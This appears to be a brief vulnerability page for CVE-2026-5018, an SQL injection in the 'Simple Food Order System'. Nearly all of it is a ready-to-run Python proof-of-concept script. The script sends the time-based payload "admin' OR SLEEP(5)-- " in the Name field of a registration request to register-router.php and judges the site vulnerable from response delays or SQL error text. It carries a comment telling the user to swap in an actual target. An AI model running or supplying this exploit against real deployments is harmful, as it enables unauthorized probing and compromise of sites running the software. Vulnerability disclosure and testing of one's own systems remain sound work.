CVE-2026-5018 Simple Food Order System SQL注入漏洞

import requests def verify_sqli(target_url): """ PoC for CVE-2026-5018 Tests for SQL Injection in the 'Name' parameter of register-router.php """ # Target endpoint url = f"{target_url}/register-router.php" # Payload to test for time-based or boolean-based SQL injection # Example: Checking if the database sleeps, or logic bypass payload = "admin' OR SLEEP(5)-- " # Data payload mimicking a legitimate registration request data = { "Name": payload, "Email": "[email protected]", "Password": "test123", "Contact": "1234567890" } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=10) # Analyze response (This depends on specific blind/error behavior) if response.elapsed.total_seconds() >= 5: print("[!] Potential SQL Injection vulnerability confirmed (Time-based).") elif "error" in response.text.lower() or "sql" in response.text.lower(): print("[!] Potential SQL Injection vulnerability confirmed (Error-based).") else: print("[-] Vulnerability could not be confirmed automatically.") except requests.RequestException as e: print(f"[Error] Request failed: {e}") if __name__ == "__main__": target = "http://127.0.0.1/Simple_Food_Order_System" # Replace with actual target verify_sqli(target)